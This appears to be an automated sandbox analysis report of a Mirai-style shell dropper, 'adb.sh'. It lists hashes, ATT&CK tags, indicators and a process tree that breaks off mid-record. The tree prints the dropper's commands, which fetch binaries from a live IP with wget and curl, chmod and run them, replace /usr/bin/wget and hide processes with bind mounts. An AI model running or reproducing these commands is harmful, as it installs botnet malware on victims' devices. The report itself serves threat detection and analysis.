59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9

Analysis

max time kernel
148s
max time network
145s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03/10/2026, 18:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
adb.sh
Size 1KB
Sample261003-w4mncsvz3j
SHA256 59681a58ec2f5fd767a2890d500805278f7fd2914ebd8c4d3c7013c4bb2f9fb9
MD5 2c4c45344faf403b4d69b5e71147d976
SHA1 2414d19a137513c3beda81cbbb14f1b94ae82dec
SHA512 d6356d2e4b69ed3f2a4757eeb22ce25f8e201131a47158a143638f0662c2b663a0cfbd7ee444c7bb27d4aa22638d87a5142ad4a5e56959b72e8fe0039f6efc4a
TLSH
T18B21BB5898331826F3C5A878B14B20806971C27B3921AFECBECD54E5EF0890E73D468E
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 45 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1978	chmod
1991	chmod
1996	chmod
2002	chmod
1856	chmod
1966	chmod
1780	chmod
1786	chmod
1845	chmod
1863	chmod
1793	chmod
1827	chmod
1930	chmod
1775	chmod
1820	chmod
1881	chmod
1892	chmod
1899	chmod
1948	chmod
1984	chmod
1686	chmod
1832	chmod
1838	chmod
1886	chmod
1922	chmod
1937	chmod
1942	chmod
1960	chmod
1868	chmod
1798	chmod
1716	chmod
1761	chmod
1767	chmod
1955	chmod
1680	chmod
1698	chmod
1704	chmod
1850	chmod
1874	chmod
1904	chmod
1910	chmod
1917	chmod
1692	chmod
1710	chmod
1973	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/alya.arc	1681	adb.sh
/tmp/alya.arc	1687	adb.sh
/tmp/alya.arc	1693	adb.sh
/usr/bin/wget	1772	adb.sh
/usr/bin/wget	1791	adb.sh
/usr/bin/wget	1825	adb.sh
/usr/bin/wget	1843	adb.sh
/usr/bin/wget	1861	adb.sh
/usr/bin/wget	1879	adb.sh
/usr/bin/wget	1897	adb.sh
/usr/bin/wget	1915	adb.sh
/usr/bin/wget	1935	adb.sh
/usr/bin/wget	1953	adb.sh
/usr/bin/wget	1971	adb.sh
/usr/bin/wget	1989	adb.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	alya.i586
File opened for modification	/dev/misc/watchdog	alya.i586

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 2 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/bin/wget.p	sh
File opened for modification	/usr/bin/wget	cp

Changes its process name 3 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1726	alya.i586
Changes the process name, possibly in an attempt to hide itself	1745	alya.i586
Changes the process name, possibly in an attempt to hide itself	1804	alya.i586

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/29/cmdline	alya.i586
File opened for reading	/proc/1061/cmdline	alya.i586
File opened for reading	/proc/1101/cmdline	alya.i586
File opened for reading	/proc/1396/cmdline	alya.i586
File opened for reading	/proc/1837/cmdline	alya.i586
File opened for reading	/proc/1/status	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/30/cmdline	alya.i586
File opened for reading	/proc/83/cmdline	alya.i586
File opened for reading	/proc/171/cmdline	alya.i586
File opened for reading	/proc/313/cmdline	alya.i586
File opened for reading	/proc/1036/cmdline	alya.i586
File opened for reading	/proc/2001/cmdline	alya.i586
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/172/cmdline	alya.i586
File opened for reading	/proc/1083/cmdline	alya.i586
File opened for reading	/proc/470/cmdline	alya.i586
File opened for reading	/proc/983/cmdline	alya.i586
File opened for reading	/proc/1093/cmdline	alya.i586
File opened for reading	/proc/1209/cmdline	alya.i586
File opened for reading	/proc/1797/cmdline	alya.i586
File opened for reading	/proc/mounts	adb.sh
File opened for reading	/proc/469/cmdline	alya.i586
File opened for reading	/proc/622/cmdline	alya.i586
File opened for reading	/proc/1003/cmdline	alya.i586
File opened for reading	/proc/86/cmdline	alya.i586
File opened for reading	/proc/706/cmdline	alya.i586
File opened for reading	/proc/1108/cmdline	alya.i586
File opened for reading	/proc/159/cmdline	alya.i586
File opened for reading	/proc/161/cmdline	alya.i586
File opened for reading	/proc/1089/cmdline	alya.i586
File opened for reading	/proc/1105/cmdline	alya.i586
File opened for reading	/proc/1281/cmdline	alya.i586
File opened for reading	/proc/1891/cmdline	alya.i586
File opened for reading	/proc/1927/cmdline	alya.i586
File opened for reading	/proc/201/cmdline	alya.i586
File opened for reading	/proc/1359/cmdline	alya.i586
File opened for reading	/proc/2/cmdline	alya.i586
File opened for reading	/proc/6/cmdline	alya.i586
File opened for reading	/proc/170/cmdline	alya.i586
File opened for reading	/proc/985/cmdline	alya.i586
File opened for reading	/proc/19/cmdline	alya.i586
File opened for reading	/proc/1007/cmdline	alya.i586
File opened for reading	/proc/511/cmdline	alya.i586
File opened for reading	/proc/11/cmdline	alya.i586
File opened for reading	/proc/165/cmdline	alya.i586
File opened for reading	/proc/1/cmdline	cp
File opened for reading	/proc/10/cmdline	alya.i586
File opened for reading	/proc/670/cmdline	alya.i586
File opened for reading	/proc/20/cmdline	alya.i586
File opened for reading	/proc/164/cmdline	alya.i586
File opened for reading	/proc/166/cmdline	alya.i586
File opened for reading	/proc/559/cmdline	alya.i586
File opened for reading	/proc/689/cmdline	alya.i586
File opened for reading	/proc/268/cmdline	alya.i586
File opened for reading	/proc/493/cmdline	alya.i586
File opened for reading	/proc/996/cmdline	alya.i586
File opened for reading	/proc/1052/cmdline	alya.i586
File opened for reading	/proc/15/cmdline	alya.i586
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/1/stat	cp
File opened for reading	/proc/989/cmdline	alya.i586
File opened for reading	/proc/1505/cmdline	alya.i586
File opened for reading	/proc/1867/cmdline	alya.i586

System Network Configuration Discovery 1 TTPs 24 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1772	wget
1777	rm
1781	alya.mips
1783	rm
1883	rm
1885	busybox
1890	rm
1891	curl
1784	rm
1787	alya.mips
1878	rm
1882	alya.mipsel
1884	rm
1771	rm
1776	alya.mips
1778	rm
1785	curl
1789	rm
1879	wget
1887	alya.mipsel
1889	rm
1779	busybox
1893	alya.mipsel
1895	rm

Writes file to tmp directory 45 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/alya.armv6l	busybox
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.mips	busybox
File opened for modification	/tmp/alya.armv7l	curl
File opened for modification	/tmp/alya.sparc	curl
File opened for modification	/tmp/alya.armv5l	busybox
File opened for modification	/tmp/alya.armv5l	curl
File opened for modification	/tmp/alya.arc	curl
File opened for modification	/tmp/alya.armv6l	wget
File opened for modification	/tmp/alya.armv6l	curl
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.armv4l	busybox
File opened for modification	/tmp/alya.mipsel	busybox
File opened for modification	/tmp/alya.arc	busybox
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.i586	busybox
File opened for modification	/tmp/alya.mips	curl
File opened for modification	/tmp/alya.sparc	busybox
File opened for modification	/tmp/alya.powerpc	busybox
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/alya.i586	wget
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.armv7l	busybox
File opened for modification	/tmp/alya.i486	curl
File opened for modification	/tmp/alya.m68k	busybox
File opened for modification	/tmp/alya.x86_64	curl
File opened for modification	/tmp/alya.arc	wget
File opened for modification	/tmp/alya.sh4	busybox
File opened for modification	/tmp/alya.mipsel	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/alya.i686	curl
File opened for modification	/tmp/alya.m68k	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/alya.sh4	curl
File opened for modification	/tmp/alya.i686	busybox
File opened for modification	/tmp/alya.i486	busybox
File opened for modification	/tmp/alya.powerpc	curl
File opened for modification	/tmp/alya.x86_64	busybox
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/alya.i586	curl
File opened for modification	/tmp/alya.armv4l	curl

/tmp/adb.sh
/tmp/adb.sh
1⤵
- Executes dropped EXE
- Reads runtime system information
PID:1500
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:1508
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:1509
- /bin/readlink
  readlink /proc/1003/exe
  2⤵
  PID:1510
- /bin/readlink
  readlink /proc/1007/exe
  2⤵
  PID:1511
- /bin/readlink
  readlink /proc/1016/exe
  2⤵
  PID:1512
- /bin/readlink
  readlink /proc/1026/exe
  2⤵
  PID:1513
- /bin/readlink
  readlink /proc/1036/exe
  2⤵
  PID:1514
- /bin/readlink
  readlink /proc/1040/exe
  2⤵
  PID:1515
- /bin/readlink
  readlink /proc/1044/exe
  2⤵
  PID:1516
- /bin/readlink
  readlink /proc/1048/exe
  2⤵
  PID:1517
- /bin/readlink
  readlink /proc/1052/exe
  2⤵
  PID:1518
- /bin/readlink
  readlink /proc/1056/exe
  2⤵
  PID:1519
- /bin/readlink
  readlink /proc/1061/exe
  2⤵
  PID:1520
- /bin/readlink
  readlink /proc/1065/exe
  2⤵
  PID:1521
- /bin/readlink
  readlink /proc/1067/exe
  2⤵
  PID:1522
- /bin/readlink
  readlink /proc/1069/exe
  2⤵
  PID:1523
- /bin/readlink
  readlink /proc/1071/exe
  2⤵
  PID:1524
- /bin/readlink
  readlink /proc/1073/exe
  2⤵
  PID:1525
- /bin/readlink
  readlink /proc/1082/exe
  2⤵
  PID:1526
- /bin/readlink
  readlink /proc/1083/exe
  2⤵
  PID:1527
- /bin/readlink
  readlink /proc/1087/exe
  2⤵
  PID:1528
- /bin/readlink
  readlink /proc/1089/exe
  2⤵
  PID:1529
- /bin/readlink
  readlink /proc/1093/exe
  2⤵
  PID:1530
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:1531
- /bin/readlink
  readlink /proc/1101/exe
  2⤵
  PID:1532
- /bin/readlink
  readlink /proc/1105/exe
  2⤵
  PID:1533
- /bin/readlink
  readlink /proc/1106/exe
  2⤵
  PID:1534
- /bin/readlink
  readlink /proc/1107/exe
  2⤵
  PID:1535
- /bin/readlink
  readlink /proc/1108/exe
  2⤵
  PID:1536
- /bin/readlink
  readlink /proc/1111/exe
  2⤵
  PID:1537
- /bin/readlink
  readlink /proc/1113/exe
  2⤵
  PID:1538
- /bin/readlink
  readlink /proc/1147/exe
  2⤵
  PID:1539
- /bin/readlink
  readlink /proc/115/exe
  2⤵
  PID:1540
- /bin/readlink
  readlink /proc/1162/exe
  2⤵
  PID:1541
- /bin/readlink
  readlink /proc/1180/exe
  2⤵
  PID:1542
- /bin/readlink
  readlink /proc/1181/exe
  2⤵
  PID:1543
- /bin/readlink
  readlink /proc/1195/exe
  2⤵
  PID:1544
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:1545
- /bin/readlink
  readlink /proc/1209/exe
  2⤵
  PID:1546
- /bin/readlink
  readlink /proc/1213/exe
  2⤵
  PID:1547
- /bin/readlink
  readlink /proc/1222/exe
  2⤵
  PID:1548
- /bin/readlink
  readlink /proc/1277/exe
  2⤵
  PID:1549
- /bin/readlink
  readlink /proc/1281/exe
  2⤵
  PID:1550
- /bin/readlink
  readlink /proc/1292/exe
  2⤵
  PID:1551
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:1552
- /bin/readlink
  readlink /proc/1332/exe
  2⤵
  PID:1553
- /bin/readlink
  readlink /proc/1335/exe
  2⤵
  PID:1554
- /bin/readlink
  readlink /proc/1359/exe
  2⤵
  PID:1555
- /bin/readlink
  readlink /proc/1367/exe
  2⤵
  PID:1556
- /bin/readlink
  readlink /proc/137/exe
  2⤵
  PID:1557
- /bin/readlink
  readlink /proc/1396/exe
  2⤵
  PID:1558
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:1559
- /bin/readlink
  readlink /proc/1467/exe
  2⤵
  PID:1560
- /bin/readlink
  readlink /proc/1492/exe
  2⤵
  PID:1561
- /bin/readlink
  readlink /proc/1496/exe
  2⤵
  PID:1562
- /bin/readlink
  readlink /proc/1497/exe
  2⤵
  PID:1563
- /bin/readlink
  readlink /proc/1498/exe
  2⤵
  PID:1564
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:1565
- /bin/readlink
  readlink /proc/1500/exe
  2⤵
  PID:1566
- /bin/readlink
  readlink /proc/1505/exe
  2⤵
  PID:1567
- /bin/readlink
  readlink /proc/157/exe
  2⤵
  PID:1568
- /bin/readlink
  readlink /proc/158/exe
  2⤵
  PID:1569
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:1570
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:1571
- /bin/readlink
  readlink /proc/160/exe
  2⤵
  PID:1572
- /bin/readlink
  readlink /proc/161/exe
  2⤵
  PID:1573
- /bin/readlink
  readlink /proc/162/exe
  2⤵
  PID:1574
- /bin/readlink
  readlink /proc/163/exe
  2⤵
  PID:1575
- /bin/readlink
  readlink /proc/164/exe
  2⤵
  PID:1576
- /bin/readlink
  readlink /proc/165/exe
  2⤵
  PID:1577
- /bin/readlink
  readlink /proc/166/exe
  2⤵
  PID:1578
- /bin/readlink
  readlink /proc/167/exe
  2⤵
  PID:1579
- /bin/readlink
  readlink /proc/168/exe
  2⤵
  PID:1580
- /bin/readlink
  readlink /proc/169/exe
  2⤵
  PID:1581
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:1582
- /bin/readlink
  readlink /proc/170/exe
  2⤵
  PID:1583
- /bin/readlink
  readlink /proc/171/exe
  2⤵
  PID:1584
- /bin/readlink
  readlink /proc/172/exe
  2⤵
  PID:1585
- /bin/readlink
  readlink /proc/173/exe
  2⤵
  PID:1586
- /bin/readlink
  readlink /proc/174/exe
  2⤵
  PID:1587
- /bin/readlink
  readlink /proc/176/exe
  2⤵
  PID:1588
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:1589
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:1590
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:1591
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:1592
- /bin/readlink
  readlink /proc/201/exe
  2⤵
  PID:1593
- /bin/readlink
  readlink /proc/202/exe
  2⤵
  PID:1594
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:1595
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:1596
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:1597
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:1598
- /bin/readlink
  readlink /proc/245/exe
  2⤵
  PID:1599
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:1600
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:1601
- /bin/readlink
  readlink /proc/268/exe
  2⤵
  PID:1602
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:1603
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:1604
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:1605
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:1606
- /bin/readlink
  readlink /proc/30/exe
  2⤵
  PID:1607
- /bin/readlink
  readlink /proc/31/exe
  2⤵
  PID:1608
- /bin/readlink
  readlink /proc/313/exe
  2⤵
  PID:1609
- /bin/readlink
  readlink /proc/317/exe
  2⤵
  PID:1610
- /bin/readlink
  readlink /proc/32/exe
  2⤵
  PID:1611
- /bin/readlink
  readlink /proc/34/exe
  2⤵
  PID:1612
- /bin/readlink
  readlink /proc/35/exe
  2⤵
  PID:1613
- /bin/readlink
  readlink /proc/36/exe
  2⤵
  PID:1614
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:1615
- /bin/readlink
  readlink /proc/423/exe
  2⤵
  PID:1616
- /bin/readlink
  readlink /proc/429/exe
  2⤵
  PID:1617
- /bin/readlink
  readlink /proc/440/exe
  2⤵
  PID:1618
- /bin/readlink
  readlink /proc/464/exe
  2⤵
  PID:1619
- /bin/readlink
  readlink /proc/465/exe
  2⤵
  PID:1620
- /bin/readlink
  readlink /proc/469/exe
  2⤵
  PID:1621
- /bin/readlink
  readlink /proc/470/exe
  2⤵
  PID:1622
- /bin/readlink
  readlink /proc/472/exe
  2⤵
  PID:1623
- /bin/readlink
  readlink /proc/476/exe
  2⤵
  PID:1624
- /bin/readlink
  readlink /proc/477/exe
  2⤵
  PID:1625
- /bin/readlink
  readlink /proc/481/exe
  2⤵
  PID:1626
- /bin/readlink
  readlink /proc/493/exe
  2⤵
  PID:1627
- /bin/readlink
  readlink /proc/499/exe
  2⤵
  PID:1628
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:1629
- /bin/readlink
  readlink /proc/505/exe
  2⤵
  PID:1630
- /bin/readlink
  readlink /proc/511/exe
  2⤵
  PID:1631
- /bin/readlink
  readlink /proc/513/exe
  2⤵
  PID:1632
- /bin/readlink
  readlink /proc/558/exe
  2⤵
  PID:1633
- /bin/readlink
  readlink /proc/559/exe
  2⤵
  PID:1634
- /bin/readlink
  readlink /proc/578/exe
  2⤵
  PID:1635
- /bin/readlink
  readlink /proc/580/exe
  2⤵
  PID:1636
- /bin/readlink
  readlink /proc/589/exe
  2⤵
  PID:1637
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:1638
- /bin/readlink
  readlink /proc/610/exe
  2⤵
  PID:1639
- /bin/readlink
  readlink /proc/621/exe
  2⤵
  PID:1640
- /bin/readlink
  readlink /proc/622/exe
  2⤵
  PID:1641
- /bin/readlink
  readlink /proc/670/exe
  2⤵
  PID:1642
- /bin/readlink
  readlink /proc/674/exe
  2⤵
  PID:1643
- /bin/readlink
  readlink /proc/682/exe
  2⤵
  PID:1644
- /bin/readlink
  readlink /proc/684/exe
  2⤵
  PID:1645
- /bin/readlink
  readlink /proc/689/exe
  2⤵
  PID:1646
- /bin/readlink
  readlink /proc/692/exe
  2⤵
  PID:1647
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:1648
- /bin/readlink
  readlink /proc/706/exe
  2⤵
  PID:1649
- /bin/readlink
  readlink /proc/725/exe
  2⤵
  PID:1650
- /bin/readlink
  readlink /proc/736/exe
  2⤵
  PID:1651
- /bin/readlink
  readlink /proc/78/exe
  2⤵
  PID:1652
- /bin/readlink
  readlink /proc/79/exe
  2⤵
  PID:1653
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:1654
- /bin/readlink
  readlink /proc/80/exe
  2⤵
  PID:1655
- /bin/readlink
  readlink /proc/81/exe
  2⤵
  PID:1656
- /bin/readlink
  readlink /proc/82/exe
  2⤵
  PID:1657
- /bin/readlink
  readlink /proc/83/exe
  2⤵
  PID:1658
- /bin/readlink
  readlink /proc/84/exe
  2⤵
  PID:1659
- /bin/readlink
  readlink /proc/86/exe
  2⤵
  PID:1660
- /bin/readlink
  readlink /proc/883/exe
  2⤵
  PID:1661
- /bin/readlink
  readlink /proc/89/exe
  2⤵
  PID:1662
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:1663
- /bin/readlink
  readlink /proc/919/exe
  2⤵
  PID:1664
- /bin/readlink
  readlink /proc/924/exe
  2⤵
  PID:1665
- /bin/readlink
  readlink /proc/927/exe
  2⤵
  PID:1666
- /bin/readlink
  readlink /proc/941/exe
  2⤵
  PID:1667
- /bin/readlink
  readlink /proc/946/exe
  2⤵
  PID:1668
- /bin/readlink
  readlink /proc/960/exe
  2⤵
  PID:1669
- /bin/readlink
  readlink /proc/966/exe
  2⤵
  PID:1670
- /bin/readlink
  readlink /proc/979/exe
  2⤵
  PID:1671
- /bin/readlink
  readlink /proc/98/exe
  2⤵
  PID:1672
- /bin/readlink
  readlink /proc/983/exe
  2⤵
  PID:1673
- /bin/readlink
  readlink /proc/985/exe
  2⤵
  PID:1674
- /bin/readlink
  readlink /proc/989/exe
  2⤵
  PID:1675
- /bin/readlink
  readlink /proc/996/exe
  2⤵
  PID:1676
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:1677
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:1678
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1680
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:1681
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:1683
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:1684
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:1685
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1686
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:1687
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:1689
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:1690
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.arc
  2⤵
  - Writes file to tmp directory
  PID:1691
- /bin/chmod
  chmod 777 alya.arc
  2⤵
  - File and Directory Permissions Modification
  PID:1692
- /tmp/alya.arc
  ./alya.arc android.alya.arc
  2⤵
  PID:1693
- /bin/rm
  rm -rf alya.arc
  2⤵
  PID:1695
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:1696
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1697
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1698
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:1699
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:1701
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:1702
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1703
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1704
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:1705
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:1707
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:1708
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1709
- /bin/chmod
  chmod 777 alya.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1710
- /tmp/alya.armv6l
  ./alya.armv6l android.alya.armv6l
  2⤵
  PID:1711
- /bin/rm
  rm -rf alya.armv6l
  2⤵
  PID:1713
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:1714
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:1715
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:1716
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1717
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.r;mv /usr/bin/wget /usr/bin/wget.r"
    3⤵
    PID:1718
  - - /bin/rm
      rm -rf /usr/bin/wget.r
      4⤵
      PID:1719
  - - /bin/mv
      mv /usr/bin/wget /usr/bin/wget.r
      4⤵
      PID:1720
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget.p;echo \"/usr/bin/wget.r\" > /usr/bin/wget.p"
    3⤵
    - Write file to user bin folder
    PID:1721
  - - /bin/rm
      rm -rf /usr/bin/wget.p
      4⤵
      PID:1722
- - /bin/sh
    sh -c "rm -rf /usr/bin/wget;cp /tmp/alya.i586 /usr/bin/wget"
    3⤵
    PID:1723
  - - /bin/rm
      rm -rf /usr/bin/wget
      4⤵
      PID:1724
  - - /bin/cp
      cp /tmp/alya.i586 /usr/bin/wget
      4⤵
      Write file to user bin folder
      PID:1725
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:1728
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:1729
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1731
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:1733
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:1734
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1735
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1736
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:1737
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1738
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:1739
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:1740
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1741
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1726"
    3⤵
    PID:1742
  - - /bin/mount
      mount --bind /tmp /proc/1726
      4⤵
      PID:1743
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:1746
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:1747
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:1748
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:1749
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:1750
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Writes file to tmp directory
      PID:1751
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1752
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:1753
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Writes file to tmp directory
      PID:1754
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:1755
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:1756
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:1757
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1745"
    3⤵
    PID:1758
  - - /bin/mount
      mount --bind /tmp /proc/1745
      4⤵
      PID:1759
- - /bin/sh
    sh -c "rm -rf /tmp/stat;cp /proc/1/stat /tmp/stat"
    3⤵
    PID:1805
  - - /bin/rm
      rm -rf /tmp/stat
      4⤵
      PID:1806
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:1807
- - /bin/sh
    sh -c "rm -rf /tmp/status;cp /proc/1/status /tmp/status"
    3⤵
    PID:1808
  - - /bin/rm
      rm -rf /tmp/status
      4⤵
      PID:1809
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Writes file to tmp directory
      PID:1810
- - /bin/sh
    sh -c "rm -rf /tmp/cmdline;cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1811
  - - /bin/rm
      rm -rf /tmp/cmdline
      4⤵
      PID:1812
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1813
- - /bin/sh
    sh -c "rm -rf /tmp/statm;cp /proc/1/statm /tmp/statm"
    3⤵
    PID:1814
  - - /bin/rm
      rm -rf /tmp/statm
      4⤵
      PID:1815
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Writes file to tmp directory
      PID:1816
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1804"
    3⤵
    PID:1817
  - - /bin/mount
      mount --bind /tmp /proc/1804
      4⤵
      PID:1818
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:1727
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:1730
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:1732
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
  PID:1761
- /tmp/alya.i586
  ./alya.i586 android.alya.i586
  2⤵
  PID:1762
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:1764
- /bin/rm
  rm -rf alya.i586
  2⤵
  PID:1765
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i586
  2⤵
  - Writes file to tmp directory
  PID:1766
- /bin/chmod
  chmod 777 alya.i586
  2⤵
  - File and Directory Permissions Modification
